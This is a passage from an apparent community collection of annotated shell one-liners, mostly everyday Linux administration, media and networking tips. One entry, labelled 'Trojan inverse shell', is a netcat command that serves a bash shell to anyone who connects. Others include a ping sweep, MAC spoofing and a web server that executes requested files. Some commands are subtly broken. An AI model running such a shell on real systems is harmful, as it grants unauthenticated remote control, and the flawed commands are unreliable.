2528# Getting information about model no. of computer
2529dmidecode | grep -i prod
2530
2531# skip broken piece of a loop but not exit the loop entirely
2532ctrl + \
2533
2534# Get your Tweets from the command line
2535curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
2536
2537# See the 10 programs the most used
2538sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head
2539
2540
2541
2542# ssh -A user@somehost
2543ssh -A user@somehost
2544
2545# which process has a port open
2546lsof -i :80
2547
2548# Search previous commands from your .bash_history
2549ctrl + r
2550
2551# vimdiff local and remote files via ssh
2552vimdiff /path/to/file scp://remotehost//path/to/file
2553
2554# Find broken symlinks
2555find . -type l ! -exec test -e {} \; -print
2556
2557# Extract a remote tarball in the current directory without having to save it locally
2558curl http://example.com/foo.tar.gz | tar zxvf -
2559
2560# Unencrypted voicechat
2561On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666
2562
2563# Display IPs accessing your Apache webserver.
2564egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u
2565
2566# Parse a quoted .csv file
2567awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
2568
2569# Convert mysql database from latin1 to utf8
2570mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"
2571
2572# Click on a GUI window and show its process ID and command used to run the process
2573xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
2574
2575# Does a full update and cleaning in one line
2576sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove
2577
2578# Change string in many files at once and more.
2579find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'
2580
2581# Concatenate (join) video files
2582mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
2583
2584# Octal ls
2585ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}'
2586
2587# Find 'foo' string inside files
2588find . -type f -print | xargs grep foo
2589
2590# recurisvely md5 all files in a tree
2591find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
2592
2593# Removes file with a dash in the beginning of the name
2594rm -- --myfile
2595
2596# Display any tcp connections to apache
2597for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done;
2598
2599# Quickly get summary of sizes for files and folders
2600du -sh *
2601
2602# Smart `cd`.. cd to the file directory if you try to cd to a file
2603cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }
2604
2605# Preserve colors when piping tree to less
2606tree -C | less -R
2607
2608# bash pause command
2609read -sn1 -p "Press any key to continue..."; echo
2610
2611# most used commands in history (comprehensive)
2612history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
2613
2614# Sync the date of one server to that of another.
2615sudo date -s "$(ssh user@server.com "date -u")"
2616
2617
2618
2619# Simple addicting bash game.
2620count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
2621
2622# Show the PATH, one directory per line
2623printf ${PATH//:/\\n}
2624
2625# Print a row of 50 hyphens
2626seq -s" " -50 -1 | tr -dc -
2627
2628# Update zone file Serial numbers
2629sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
2630
2631# Multi-line grep
2632perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'
2633
2634# Group OR'd commands where you expect only one to work
2635( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less
2636
2637# Search $PATH for a command or something similar
2638find ${PATH//:/ } -name \*bash\*
2639
2640# See a full last history by expanding logrotated wtmp files
2641( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less
2642
2643# List .log files open by a pid
2644lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
2645
2646# Save xkcd to a pdf with captions
2647curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
2648
2649# Using mplayer to play the audio only but suppress the video
2650mplayer -vo null something.mpg
2651
2652# Google Spell Checker
2653spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
2654
2655# Get the weather forecast for the next 24 to 48 for your location.
2656weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';}
2657
2658# A function to find the newest file in a directory
2659newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
2660
2661# How to backup hard disk timely?
2662rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
2663
2664# Replace spaces in filenames with underscores
2665rename 's/ /_/g' *
2666
2667# Erase a word
2668<CTRL+w>
2669
2670# Do some Perl learning...
2671podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
2672
2673# A command to post a message to Twitter that includes your geo-location and a short URL.
2674curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null
2675
2676# Finding all files on local file system with SUID and SGID set
2677find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
2678
2679# Replace space in filename
2680rename "s/ *//g" *.jpg
2681
2682# Check reverse DNS
2683dig +short -x {ip}
2684
2685# Extract tarball from internet without local saving
2686wget -O - http://example.com/a.gz | tar xz
2687
2688# Another Matrix Style Implementation
2689COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
2690
2691# Create mails array from .mutt-alias file.
2692muttlst(){ for i in $*;do mails+=($(grep -wi "$i" .mutt-alias|awk '{print $NF}'));done;}
2693
2694
2695
2696# Optimal way of deleting huge numbers of files
2697find /path/to/dir -type f -delete
2698
2699# Update twitter via curl (and also set the "from" bit)
2700curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
2701
2702# convert pdf to graphic file format (jpg , png , tiff ... )
2703convert sample.pdf sample.jpg
2704
2705# Match a URL
2706egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'
2707
2708# set your ssd disk as a non-rotating medium
2709sudo echo 0 > /sys/block/sdb/queue/rotational
2710
2711# List all symbolic links in current directory
2712find /path -type l
2713
2714# Mount a Windows share on the local network (Ubuntu) with user rights and use a specific samba user
2715sudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt
2716
2717# Find all dot files and directories
2718echo .*
2719
2720# List all available commands (bash, ksh93)
2721printf "%s\n" ${PATH//:/\/* }
2722
2723# Merge Two or More PDFs into a New Document
2724pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
2725
2726# check the status of 'dd' in progress
2727watch -n 10 killall -USR1 dd
2728
2729# Upload images to omploader.org from the command line.
2730ompload() { curl -# -F file1=@"$1" http://omploader.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
2731
2732# Play random music from blip.fm
2733mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g' | grep mp3$ | xargs`
2734
2735# Test speaker channels
2736speaker-test -D plug:surround51 -c 6 -l 1 -t wav
2737
2738# Go up multiple levels of directories quickly and easily.
2739cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
2740
2741# enumerate with padding
2742echo {001..5}
2743
2744# Auto Rotate Cube (compiz)
2745wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
2746
2747# Turn On/Off Keyboard LEDs via commandline
2748xset led 3
2749
2750# rsync + find
2751find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
2752
2753# Function to output an ASCII character given its decimal equivalent
2754chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
2755
2756# Display the history and optionally grep
2757h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
2758
2759# List your largest installed packages.
2760dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
2761
2762# Verify MD5SUMS but only print failures
2763md5sum --check MD5SUMS | grep -v ": OK"
2764
2765# Change newline to space in a file just using echo
2766echo $(</tmp/foo)
2767
2768# send kernel log (dmesg) notifications to root via cron
2769(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
2770
2771
2772
2773# create pdf files from text files or stdout.
2774enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)
2775
2776# Install a LAMP server in a Debian based distribution
2777sudo tasksel install lamp-server
2778
2779# Backup all MySQL Databases to individual files
2780mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'
2781
2782# convert .bin / .cue into .iso image
2783bchunk IMAGE.bin IMAGE.cue IMAGE.iso
2784
2785# Get the total length of all video / audio in the current dir (and below) in H:m:s
2786find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1
2787
2788# Upgrade all perl modules via CPAN
2789perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
2790
2791# Remove invalid key from the known_hosts file for the IP address of a host
2792ssh-keygen -R `host hostname | cut -d " " -f 4`
2793
2794# Search back through previous commands
2795Ctrl-R <search-text>
2796
2797# for loop with leading zero in bash 3
2798seq -s " " -w 3 20
2799
2800# Show apps that use internet connection at the moment. (Multi-Language)
2801netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
2802
2803# Start an X app remotely
2804ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi
2805
2806# Dump dvd from a different machine onto this one.
2807ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
2808
2809# Quick and dirty convert to flash
2810ffmpeg -i inputfile.mp4 outputfile.flv
2811
2812# Ignore a directory in SVN, permanently
2813svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
2814
2815# Share your terminal session (remotely or whatever)
2816screen -x
2817
2818# Finding files with different extensions
2819find . -regex '.*\(h\|cpp\)'
2820
2821# alias to close terminal with :q
2822alias ':q'='exit'
2823
2824# How to copy CD/DVD into hard disk (.iso)
2825dd if=/dev/cdrom of=whatever.iso
2826
2827# Who needs pipes?
2828B <<< $(A)
2829
2830# Download Apple movie trailers
2831wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
2832
2833# Unlock your KDE4.3 session remotely
2834qdbus org.kde.screenlocker /MainApplication quit
2835
2836# View Processeses like a fu, fu
2837command ps -Hacl -F S -A f
2838
2839# Get the 10 biggest files/folders for the current direcotry
2840du -sk * |sort -rn |head
2841
2842# Silently Execute a Shell Script that runs in the background and won't die on HUP/logout
2843nohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&
2844
2845# Copy all documents PDF in disk for your home directory
2846find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
2847
2848
2849
2850# Convert filenames from ISO-8859-1 to UTF-8
2851convmv -r -f ISO-8859-1 -t UTF-8 --notest *
2852
2853# Check which files are opened by Firefox then sort by largest size.
2854FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn
2855
2856# grep certain file types recursively
2857grep -r --include="*.[ch]" pattern .
2858
2859# Get a regular updated list of zombies
2860watch "ps auxw | grep [d]efunct"
2861
2862# Check if a domain is available and get the answer in just one line
2863whois domainnametocheck.com | grep match
2864
2865# Remove newlines from output
2866grep . filename
2867
2868# Get the size of all the directories in current directory
2869du --max-depth=1
2870
2871# Sum columns from CSV column $COL
2872perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
2873
2874# Conficker Detection with NMAP
2875nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
2876
2877# find and delete empty directories recursively
2878find . -depth -type d -empty -exec rmdir -v {} +
2879
2880# create an incremental backup of a directory using hard links
2881rsync -a --delete --link-dest=../lastbackup $folder $dname/
2882
2883# How many files in the current directory ?
2884find . -maxdepth 1 -type f | wc -l
2885
2886# Get Futurama quotations from slashdot.org servers
2887echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
2888
2889# Change the case of a single word in vim
2890g~w
2891
2892# Find the dates your debian/ubuntu packages were installed.
2893ls /var/lib/dpkg/info/*.list -lht |less
2894
2895# Follow the most recently updated log files
2896ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
2897
2898# vmstat/iostat with timestamp
2899vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
2900
2901# Matrix Style
2902LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
2903
2904# Update dyndns.org with your external IP.
2905curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
2906
2907# Get the canonical, absolute path given a relative and/or noncanonical path
2908readlink -f ../super/symlink_bon/ahoy
2909
2910# Migrate existing Ext3 filesystems to Ext4
2911tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
2912
2913# Apply substitution only on the line following a marker
2914sed '/MARKER/{N;s/THIS/THAT/}'
2915
2916# LDAP search to query an ActiveDirectory server
2917ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
2918
2919# Read a keypress without echoing it
2920stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
2921
2922# change exif data in all jpeg's
2923for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done }
2924
2925
2926
2927# Setup an ssh tunnel
2928ssf -f -N -L 4321:home.network.com:25 user@home.network.com
2929
2930# remote diff with side-by-side ordering.
2931ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -
2932
2933# Changing tha mac adresse
2934sudo ifconfig eth0 hw ether 00:01:02:03:04:05
2935
2936# Mac Sleep Timer
2937sudo pmset schedule sleep "08/31/2009 00:00:00"
2938
2939# List top ten files/directories sorted by size
2940du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
2941
2942# Follow the flow of a log file
2943tailf file.log
2944
2945# Print IP of any interface. Useful for scripts.
2946ip route show dev ppp0 | awk '{ print $7 }'
2947
2948# Launch a VirtualBox virtual machine
2949VBoxManage startvm "name"
2950
2951# burn an ISO image to writable CD
2952wodim cdimage.iso
2953
2954# Date shows dates at other times/dates
2955date -d '2 weeks ago'
2956
2957# Twitpic upload and Tweet
2958curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
2959
2960# eth-tool summary of eth# devices
2961for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
2962
2963# Record output of any command using 'tee' at backend; mainly can be used to capture the output of ssh from client side while connecting to a server.
2964ssh user@server | tee logfilename
2965
2966# Get the IP address of a machine. Just the IP, no junk.
2967/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
2968
2969# Convert images (jpg, png, ...) into a PDF
2970convert images*.* <my_pdf>.pdf
2971
2972# backup a directory in a timestamped tar.gz
2973tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
2974
2975# Execute a command on logout
2976trap cmd 0
2977
2978# Watch the progress of 'dd'
2979dd if=/dev/urandom of=file.img bs=4KB& pid=$!
2980
2981# Have subversion ignore a file pattern in a directory
2982svn propset svn:ignore "*txt" log/
2983
2984# Show a Command's Short Description
2985whatis [command-name]
2986
2987# Hiding password while reading it from keyboard
2988save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"
2989
2990# List files above a given threshold
2991find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'
2992
2993# rapidshare download script in 200 characters
2994u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u
2995
2996# Find the 20 biggest directories on the current filesystem
2997du -xk | sort -n | tail -20
2998
2999# Remote copy directories and files through an SSH tunnel host
3000rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
3001
3002
3003
3004# Find all directories on filesystem containing more than 99MB
3005du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
3006
3007# Pack up some files into a tarball on a remote server without writing to the local filesystem
3008tar -czf - * | ssh example.com "cat > files.tar.gz"
3009
3010# Kill all processes beloging to a single user.
3011kill -9 `ps -u <username> -o "pid="`
3012
3013# Add a function you've defined to .bashrc
3014addfunction () { declare -f $1 >> ~/.bashrc ; }
3015
3016# Enable automatic typo correction for directory names
3017shopt -s cdspell
3018
3019# Create a backup of file being edited while using vi
3020:!cp % %-
3021
3022# Display calendar with specific national holidays and week numbers
3023gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)
3024
3025# Simplified video file renaming
3026for f in *;do mplayer $f;read $n;mv $f $n;done
3027
3028# Add a Clock to Your CLI
3029export PS1="${PS1%\\\$*}"' \t \$ '
3030
3031# Converts a single FLAC file with associated cue file into multiple FLAC files
3032cuebreakpoints "$2" | shnsplit -o flac "$1"
3033
3034# Mount a partition from within a complete disk dump
3035INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
3036
3037# Installing True-Type fonts
3038ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
3039
3040# See how many % of your memory firefox is using
3041ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
3042
3043# Replicate a directory structure dropping the files
3044for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
3045
3046# useful tail on /var/log to avoid old logs or/and gzipped files
3047tail -f *[!.1][!.gz]
3048
3049# Trojan inverse shell
3050nc -l -p 2000 -e /bin/bash
3051
3052# Check the status of a network interface
3053mii-tool [if]
3054
3055# New command with the last argument of the previous command.
3056command !$
3057
3058# Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a folder and all sub-folders
3059for x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done
3060
3061# Find out current working directory of a process
3062echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
3063
3064# Mount and umount iso files
3065function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
3066
3067# find .txt files inside a directory and replace every occurrance of a word inside them via sed
3068find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
3069
3070# for too many arguments by *
3071echo *.log | xargs <command>
3072
3073# Find files that are older than x days
3074find . -type f -mtime +7 -exec ls -l {} \;
3075
3076# show lines that appear in both file1 and file2
3077comm -1 -2 <(sort file1) <(sort file2)
3078
3079
3080
3081# connect to X login screen via vnc
3082x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
3083
3084# use vi key bindings at the command line
3085set -o vi
3086
3087# ionice limits process I/O, to keep it from swamping the system (Linux)
3088ionice -c3 find /
3089
3090# Repeatedly purge orphaned packages on Debian-like Linuxes
3091while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
3092
3093# Watch the disk fill up
3094watch -n 1 df
3095
3096# convert filenames in current directory to lowercase
3097for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
3098
3099# Remove a file whose name begins with a dash ( - ) character
3100rm ./-filename
3101
3102# Insert a colon between every two digits
3103sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
3104
3105# Update program providing a functionality on Debian
3106update-alternatives --config java
3107
3108# Create MySQL-Dump, copy db to other Server and upload the db.
3109mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"
3110
3111# Change the window title of your xterm
3112echo "^[]0;My_Title_Goes _Here^G"
3113
3114# Watch Data Usage on eth0
3115watch ifconfig eth0
3116
3117# recursively change file name from uppercase to lowercase (or viceversa)
3118find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
3119
3120# Always tail/edit/grep the latest file in a directory of timestamped files
3121tail -f /path/to/timestamped/files/file-*(om[1])
3122
3123# gpg decrypt a file
3124gpg --output foo.txt --decrypt foo.txt.pgp
3125
3126# Show all programs on UDP and TCP ports with timer information
3127netstat -putona
3128
3129# Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
3130getent [group|hosts|networks|passwd|protocols|services] [keyword]
3131
3132# Show a passive popup in KDE
3133kdialog --passivepopup <text> <timeout>
3134
3135# Copy your SSH public key on a remote machine for passwordless login.
3136cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
3137
3138# Copy something to multiple SSH hosts with a Bash loop
3139for h in host1 host2 host3 host4 ; { scp file user@h$:/destination_path/ ; }
3140
3141# Unix time to local time
3142date -R -d @1234567890
3143
3144# Configure second monitor to sit to the right of laptop
3145xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
3146
3147# Create a mirror of a local folder, on a remote server
3148rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/
3149
3150# Watch for when your web server returns
3151watch -n 15 curl -s --connect-timeout 10 http://www.google.com/
3152
3153# List only the directories
3154ls -l | egrep ^d
3155
3156
3157
3158# find the difference between two nodes
3159diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
3160
3161# rsync with progress bar.
3162rsync -av --progress ./file.txt user@host:/path/to/dir
3163
3164# Switch to a user with "nologin" shell
3165sudo -u username bash
3166
3167# a find and replace within text-based files, to locate and rewrite text en mass.
3168find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
3169
3170# do a full file listing of every file found with locate
3171locate searchstring | xargs ls -l
3172
3173# Reset terminal that has been buggered by binary input or similar
3174stty sane
3175
3176# list processes with established tcp connections (without netstat)
3177lsof -i -n | grep ESTABLISHED
3178
3179# Remove invalid host keys from ~/.ssh/known_hosts
3180ssh-keygen -R \[localhost\]:8022
3181
3182# Get the full path to a file
3183realpath examplefile.txt
3184
3185# Changes standard mysql client output to 'less'.
3186echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf
3187
3188# Watch how fast the files in a drive are being deleted
3189watch "df | grep /path/to/drive"
3190
3191# processes per user counter
3192ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
3193
3194# intercept stdout/stderr of another process
3195strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
3196
3197# deaggregate ip ranges
3198/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done | grep -v deag
3199
3200# See why a program can't seem to access a file
3201strace php tias.php -e open,access 2>&1 | grep foo.txt
3202
3203# Quickly analyse an Apache error log
3204for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done
3205
3206# Open files in a split windowed Vim
3207vim -o file1 file2...
3208
3209# bash pause command
3210read -p "Press enter to continue.."
3211
3212# Determine whether a CPU has 64 bit capability or not
3213if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
3214
3215# Determine whether a CPU has 64 bit capability or not
3216sudo dmidecode --type=processor | grep -i -A 1 charac
3217
3218# Ping scanning without nmap
3219for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
3220
3221# List shell functions currently loaded in memory (/bin/sh)
3222hv() { hash -v | less -p '^function' ;} usage: hv
3223
3224# easily find megabyte eating files or directories
3225du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done
3226
3227# Sort the current buffer in vi or vim.
3228:%sort
3229
3230# Create and replay macros in vim
3231<esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').
3232
3233
3234
3235# Perl Simple Webserver
3236perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
3237
3238# colorize your svn diff
3239svn diff | vim -
3240
3241# Change prompt to MS-DOS one (joke)
3242export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
3243
3244# Watch active calls on an Asterisk PBX
3245watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"
3246
3247# Show top SVN committers for the last month
3248svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
3249
3250# Show simple disk IO table using snmp
3251watch -n1 snmptable -v2c -c public localhost diskIOTable
3252
3253# dump a single table of a database to file
3254mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME
3255
3256# Convert files from DOS line endings to UNIX line endings
3257perl -pi -e 's/\r\n?/\n/g'
3258
3259# Convert files from DOS line endings to UNIX line endings
3260fromdos *
3261
3262# validate json
3263curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
3264
3265# Simple top directory usage with du flips for either Linux or base Solaris
3266( du -xSk || du -kod ) | sort -nr | head
3267
3268# Pronounce an English word using Merriam-Webster.com
3269pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }
3270
3271# show git commit history
3272git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
3273
3274# Detect Language of a string
3275detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
3276
3277# Backup all mysql databases to individual files on a remote server
3278for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh user@server.com "cat > /remote/$I.sql.gz"; done
3279
3280# Top ten (or whatever) memory utilizing processes (with children aggregate)
